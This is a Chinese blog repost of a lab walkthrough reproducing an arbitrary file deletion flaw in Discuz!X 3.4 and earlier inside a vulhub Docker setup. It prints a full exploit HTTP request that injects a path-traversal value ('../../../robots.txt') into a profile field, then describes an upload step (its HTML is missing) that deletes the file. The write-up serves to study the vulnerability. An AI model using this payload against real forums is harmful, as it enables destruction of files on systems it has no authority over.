Discuz!X ≤3.4 任意文件删除漏洞(wooyun-2014-065513)
发布日期:2021-06-29 11:26:14 浏览次数:2 分类:技术文章

本文共 2526 字,大约阅读时间需要 8 分钟。

声明

好好学习,天天向上

漏洞描述

Discuz!X社区软件是一个采用PHP 和MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。

2017年9月29日,Discuz!修复了一个安全问题用于加强安全性,这个漏洞会导致前台用户可以导致任意删除文件漏洞。

2017年9月29日,知道创宇404 实验室开始应急,经过知道创宇404实验室分析确认,该漏洞于2014年6月被提交到Wooyun漏洞平台,Seebug漏洞平台收录了该漏洞,漏洞编号ssvid-93588。该漏洞通过配置属性值,导致任意文件删除。

经过分析确认,原有的利用方式已经被修复,添加了对属性的formtype判断,但修复方式不完全导致可以绕过,通过模拟文件上传可以进入其他unlink条件,实现任意文件删除漏洞。

影响范围

  • Discuz!X ≤3.4

复现过程

使用vulhub

这里使用x3.4版本

cd /app/vulhub-master/discuz/x3.4-arbitrary-file-deletion

启动

docker-compose up -d

直接访问IP就行

http://192.168.239.129/

访问后,提示你进行安装

安装时,只用修改数据库地址为db,其他保持默认即可:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ses6EjA0-1607170185132)(https://vulhub.org/vulhub/discuz/x3.4-arbitrary-file-deletion/1.png)]

访问http://your-ip/robots.txt可见robots.txt是存在的:

192.168.239.129/robots.txt

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SAZ9xVmK-1607170185134)(C:\Users\86156\AppData\Roaming\Typora\typora-user-images\image-20201202163813540.png)]

注册一个一般的用户

http://your-ip/member.php?mod=register

访问

http://192.168.239.129/home.php?mod=spacecp&ac=profile&op=base

按F12,ctrf+F查找关键字formhash,查看到值

在这里插入图片描述

抓包,发送请求(自行修改Host、Cookie和your formhash)

POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1Host: localhostContent-Length: 367Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,en;q=0.6Cookie: [your cookie]Connection: close------WebKitFormBoundaryPFvXyxL45f34L12sContent-Disposition: form-data; name="formhash"your formhash------WebKitFormBoundaryPFvXyxL45f34L12sContent-Disposition: form-data; name="birthprovince"../../../robots.txt------WebKitFormBoundaryPFvXyxL45f34L12sContent-Disposition: form-data; name="profilesubmit"1------WebKitFormBoundaryPFvXyxL45f34L12s--

在这里插入图片描述

提交成功后,可查看个人资料,生日字段已经被注入脏数据

在这里插入图片描述

然后,新建一个upload.html,代码如下,将其中的[your-ip]改成discuz的域名,[form-hash]改成你的formhash:

    

保存这个html后,用浏览器打开,让上传一张正常的图片,可是我在我的电脑里面找了好久,都没找到一张正常的图片,无奈自己画了一张,这里有个坑,就是下图

在这里插入图片描述

这个原因要么就是你用另外一个浏览器打开了,要么就是你formhash填错了,因为那个xss_check函数就是专门检测formhash的

最后我都用火狐,成功删除robots.txt

在这里插入图片描述

使用完关闭镜像(每次用完后关闭)

docker-compose down

docker-compose常用命令

拉镜像(进入到vulhub某个具体目录后)

docker-compose builddocker-compose up -d

镜像查询(查到的第一列就是ID值)

docker ps -a

进入指定镜像里面(根据上一条查出的ID进入)

docker exec -it ID /bin/bash

关闭镜像(每次用完后关闭)

docker-compose down

转载地址:https://blog.csdn.net/zy15667076526/article/details/110719603 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!

上一篇:Discuz 7.x6.x 全局变量防御绕过导致代码执行(wooyun-2010-080723)
下一篇:Redis 4.x5.x 未授权访问漏洞(Redis基于主从复制的RCE)

发表评论

最新留言

很好
[***.229.124.182]2024年04月26日 02时13分58秒